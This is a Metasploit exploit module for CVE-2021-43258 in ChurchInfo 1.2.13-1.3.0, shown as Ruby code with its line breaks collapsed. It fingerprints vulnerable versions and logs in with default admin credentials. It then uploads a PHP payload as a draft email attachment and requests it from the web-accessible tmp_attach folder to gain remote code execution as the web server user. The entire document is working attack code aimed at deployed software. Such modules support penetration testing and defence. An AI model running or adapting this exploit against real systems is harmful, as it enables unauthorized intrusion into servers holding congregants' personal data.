ChurchInfo 1.2.13-1.3.0 Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',        'Description' => %q{          This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.          By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the          ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and          then browsing to the location of the uploaded PHP file on the web server, arbitrary code          execution as the web daemon user (e.g. www-data) can be achieved.        },        'License' => MSF_LICENSE,        'Author' => [ 'm4lwhere <[email protected]>' ],        'References' => [          ['URL', 'http://www.churchdb.org/'],          ['URL', 'http://sourceforge.net/projects/churchinfo/'],          ['CVE', '2021-43258']        ],        'Platform' => 'php',        'Privileged' => false,        'Arch' => ARCH_PHP,        'Targets' => [['Automatic Targeting', { 'auto' => true }]],        'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date        'DefaultTarget' => 0,        'Notes' => {          'Stability' => ['CRASH_SAFE'],          'Reliability' => ['REPEATABLE_SESSION'],          'SideEffects' => ['ARTIFACTS_ON_DISK', 'IOC_IN_LOGS']        }      )    )    # Set the email subject and message if interested    register_options(      [        Opt::RPORT(80),        OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),        OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),        OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),        OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),        OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])      ]    )  end  def check    if datastore['SSL'] == true      proto_var = 'https'    else      proto_var = 'http'    end    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'Default.php'),      'method' => 'GET',      'vars_get' => {        'Proto' => proto_var,        'Path' => target_uri.path      }    )    unless res      return CheckCode::Unknown('Target did not respond to a request to its login page!')    end    # Check if page title is the one that ChurchInfo uses for its login page.    if res.body.match(%r{<title>ChurchInfo: Login</title>})      print_good('Target is ChurchInfo!')    else      return CheckCode::Safe('Target is not running ChurchInfo!')    end    # Check what version the target is running using the upgrade pages.    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),      'method' => 'GET'    )    if res && (res.code == 500 || res.code == 200)      return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')    end    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),      'method' => 'GET'    )    if res && (res.code == 500 || res.code == 200)      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')    end    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),      'method' => 'GET'    )    if res && (res.code == 500 || res.code == 200)      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')    else      return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')    end  end  #  # The exploit method attempts a login, adds items to the cart, then creates the email attachment.  # Adding items to the cart is required for the server-side code to accept the upload.  #  def exploit    # Need to grab the PHP session cookie value first to pass to application    vprint_status('Gathering PHP session cookie')    if datastore['SSL'] == true      vprint_status('SSL is true, changing protocol to HTTPS')      proto_var = 'https'    else      vprint_status('SSL is false, leaving protocol as HTTP')      proto_var = 'http'    end    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'Default.php'),      'method' => 'GET',      'vars_get' => {        'Proto' => proto_var,        'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']      },      'keep_cookies' => true    )    # Ensure we get a 200 from the application login page    unless res && res.code == 200      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")    end    # Check that we actually are targeting a ChurchInfo server.    unless res.body.match(%r{<title>ChurchInfo: Login</title>})      fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')    end    # Grab our assigned session cookie    cookie = res.get_cookies    vprint_good("PHP session cookie is #{cookie}")    vprint_status('Attempting login')    # Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'Default.php'),      'method' => 'POST',      'vars_post' => {        'User' => datastore['USERNAME'],        'Password' => datastore['PASSWORD'],        'sURLPath' => datastore['TARGETURI']      }    )    # A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.    unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'      fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")    end    vprint_good("Location header is #{res.headers['Location']}")    print_good("Logged into application as #{datastore['USERNAME']}")    vprint_status('Attempting exploit')    # We must add items to the cart before we can send the emails. This is a hard requirement server-side.    print_status('Navigating to add items to cart')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'SelectList.php'),      'method' => 'GET',      'vars_get' => {        'mode' => 'person',        'AddAllToCart' => 'Add+to+Cart'      }    )    # Need to check that items were successfully added to the cart    # Here we're looking through html for the version string, similar to:    # Items in Cart: 2    unless res && res.code == 200      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")    end    cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)    unless cart_items      fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")    end    if cart_items['cart'].to_i < 1      print_error('No items in cart detected')      fail_with(Failure::UnexpectedReply,                'Failure to add items to cart, no items were detected. Check if there are person entries in the application')    end    print_good("Items in Cart: #{cart_items}")    # Uploading exploit as temporary email attachment    print_good('Uploading exploit via temp email attachment')    payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'    vprint_status("Payload name is #{payload_name}")    # Create the POST payload with required parameters to be parsed by the server    post_data = Rex::MIME::Message.new    post_data.add_part(payload.encoded, 'application/octet-stream', nil,                       "form-data; name=\"Attach\"; filename=\"#{payload_name}\"")    post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')    post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')    post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')    file = post_data.to_s    file.strip!    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'CartView.php'),      'method' => 'POST',      'data' => file,      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"    )    # Ensure that we get a 200 and the intended payload was    # successfully uploaded and attached to the draft email.    unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")      fail_with(Failure::Unknown, 'Failed to upload the payload.')    end    print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")    # Have our payload deleted after we exploit    register_file_for_cleanup(payload_name)    # Make a GET request to the PHP file that was uploaded to execute it on the target server.    print_good('Executing payload with GET request')    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),      'method' => 'GET'    )  rescue ::Rex::ConnectionError    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  endend